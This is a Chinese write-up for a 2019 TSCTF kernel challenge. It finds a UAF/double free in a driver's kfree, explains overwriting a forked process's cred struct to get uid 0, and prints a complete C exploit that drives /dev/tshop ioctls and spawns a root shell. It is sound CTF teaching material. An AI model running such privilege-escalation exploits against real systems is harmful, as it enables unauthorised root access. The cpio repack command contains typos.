0x00 前言
这道题是2019-TSCTF的一道kernel题,出题人是17学长,拿过来假装是参加了2019 TSCTF的比赛。
题目链接
提取码:12wp
0x01 查看文件
在windows中解压img文件,便可以得到里面的cpio文件。利用解压指令:
cpio -idmv < rootfs.cpio
便可以得到文件,打包则是用:
find .| cpio -o --format==newc > rootfs,cpio
0x02 IDA分析
可以看到kfree这里指针没有清空,可以double free和UAF
0x03 漏洞分析+思路
补充知识一:
struct cred – 进程权限结构体若要达到提权权限,则需要修改权限信息。kernel是用cred结构体记录了线程的权限,每个线程中都有一个cred结构,这个结构保存了该进程的权限等信息(uid,gid等),如果能修改某个进程的cred,那么也就修改了这个进程的权限。
cred结构体源码如下:
这样的话首先来调试一下,看看cred要分配多大的chunk:
首先创建malloc一个chunk(即:malloc(chunk1)),删除(free(chunk1)),在进行fork(),此时就会分配这个chunk,那么我们再free(chunk1),再malloc(chunk2)就可以初始化堆上的数据就可以让uid和gid为0
由于create操作中伴随着所在堆块数据的初始化,通过测试我们不用再有多余的操作便能将cred结构体uid及gid位置零。此时子进程就已成功提权(root),那么直接执行system(“/bin/sh”)便可以getshell了。
0x04 exp
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>
uint64_t user_cs, user_ss, user_eflags, user_sp;
uint64_t u64(char * s){
uint64_t result = 0;
for (int i = 7 ; i >=0 ;i--){
result = (result << 8) | (0x00000000000000ff&s[i]);
}
return result;
}
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void launch_shell(){
execl("/bin/sh","sh",NULL);
}
void create(int fd,int index){
ioctl(fd,0x271a,index);
}
void delete(int fd,int index){
ioctl(fd,0x2766,index);
}
int main(){
save_status();
int fd = open("/dev/tshop",0);
create(fd,0);
delete(fd,0);
int pid = fork();
delete(fd,0);
create(fd,1);
if(pid<0){
puts("[+] fork error!");
exit(0);
}else if(pid == 0){
puts("[+] root now!");
system("/bin/sh");
}else{
sleep(30);
}
return 0;
}